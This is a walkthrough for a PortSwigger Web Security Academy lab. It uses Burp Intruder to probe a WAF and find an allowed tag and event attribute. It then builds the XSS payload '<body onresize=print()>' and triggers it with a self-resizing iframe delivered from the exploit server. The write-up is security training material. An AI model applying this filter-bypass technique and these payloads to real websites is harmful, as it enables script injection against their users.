PortSwigger

Description Perform a cross-site scripting attack that bypasses the WAF and calls the print() function without any user interaction.

Solution Steps

Step 1: Test Standard XSS Vector

First, Test standard payload:

<script>alert(1)</script>

Click Search button
Result: Gets blocked by the WAF (400 response).

Step 2: Identify Allowed Tags (Burp Intruder)

Send the search request to Burp Intruder
Replace the search term with: <>
Add payload position: <§§> (cursor between angle brackets)
From XSS cheat sheet, copy tags to clipboard
Paste tags into payloads list (Payload configuration)
Start attack

Results:

Most payloads → 400 response (blocked)
<body> payload → 200 response (allowed!)

Step 3: Identify Allowed Attributes (Burp Intruder)

Replace search term with: <body%20=1>
Add payload position: <body%20§§=1> (before =)
From XSS cheat sheet, copy events to clipboard
Clear previous payloads and paste events
Start attack

Results:

Most payloads → 400 response (blocked)
onresize attribute → 200 response (allowed!)

Step 4: Construct the Exploit

Now we know:

Allowed tag: <body>
Allowed attribute: onresize

Final payload:

<body onresize=print()>

URL encode version:

%3Cbody%20onresize=print()%3E

Step 5: Create the Exploit on Exploit Server

Go to the exploit server and paste the following:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

Replace YOUR-LAB-ID with your actual lab ID.

Step 6: Deliver the Exploit

Click “Store”
Click “Deliver exploit to victim”
The print() function is called
Lab solved!

How the Iframe Exploit Works

Part	Purpose
`<iframe src="...">`	Loads the vulnerable page with XSS payload
`?search=%22%3E%3Cbody%20onresize=print()%3E`	URL-encoded payload
`onload=this.style.width='100px'`	Trigger resize event by changing iframe width
`onresize=print()`	Executes `print()` when resize occurs

Why This Works

Obstacle	Bypass Method
WAF blocks most tags	Found `<body>` tag is allowed
WAF blocks most attributes	Found `onresize` attribute is allowed
Need auto-execution (no click)	Iframe triggers `onresize` by changing width
Need to avoid user interaction	`onload` event changes iframe size automatically